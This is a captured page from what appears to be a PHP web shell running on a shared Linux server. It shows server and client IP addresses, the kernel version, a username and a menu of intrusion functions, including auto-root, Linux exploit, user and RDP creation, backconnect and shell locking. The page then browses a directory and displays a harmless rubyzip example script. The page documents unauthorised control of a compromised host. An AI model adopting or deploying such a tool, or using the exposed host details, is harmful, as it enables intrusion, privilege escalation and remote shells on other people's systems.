Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ruby-zip /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
example.rb
2.6
KB
-rwxr-xr-x
example_filesystem.rb
925
B
-rwxr-xr-x
example_recursive.rb
1.56
KB
-rw-r--r--
gtk_ruby_zip.rb
2.14
KB
-rwxr-xr-x
qtzip.rb
1.91
KB
-rwxr-xr-x
write_simple.rb
170
B
-rwxr-xr-x
zipdialogui.ui
5.03
KB
-rw-r--r--
zipfind.rb
1.47
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : example_filesystem.rb
#!/usr/bin/env ruby $LOAD_PATH << '../lib' require 'zip/filesystem' EXAMPLE_ZIP = 'filesystem.zip' File.delete(EXAMPLE_ZIP) if File.exist?(EXAMPLE_ZIP) Zip::File.open(EXAMPLE_ZIP, Zip::File::CREATE) do |zf| zf.file.open('file1.txt', 'w') { |os| os.write 'first file1.txt' } zf.dir.mkdir('dir1') zf.dir.chdir('dir1') zf.file.open('file1.txt', 'w') { |os| os.write 'second file1.txt' } puts zf.file.read('file1.txt') puts zf.file.read('../file1.txt') zf.dir.chdir('..') zf.file.open('file2.txt', 'w') { |os| os.write 'first file2.txt' } puts "Entries: #{zf.entries.join(', ')}" end Zip::File.open(EXAMPLE_ZIP) do |zf| puts "Entries from reloaded zip: #{zf.entries.join(', ')}" end # For other examples, look at zip.rb and ziptest.rb # Copyright (C) 2003 Thomas Sondergaard # rubyzip is free software; you can redistribute it and/or # modify it under the terms of the ruby license.
Close